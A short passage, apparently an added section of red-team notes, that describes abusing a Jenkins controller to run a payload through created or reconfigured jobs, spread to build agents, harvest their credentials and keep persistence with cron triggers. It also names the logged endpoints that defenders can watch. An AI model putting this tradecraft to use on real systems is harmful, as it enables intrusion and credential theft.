+Jenkins is a deployment tool — abuse it to run code across the estate. Create a job (or
+reconfigure one) whose build step runs your payload, then let it execute on the
+controller or fan out to build **agents** (harvesting their credentials and reaching the
+networks they can). A cron/SCM trigger makes it recurring. Creating a job hits
+`/createItem`; reconfiguring one hits `/job/<name>/configSubmit` — both logged by the Audit
+Trail plugin. (CI controller — no slots.)
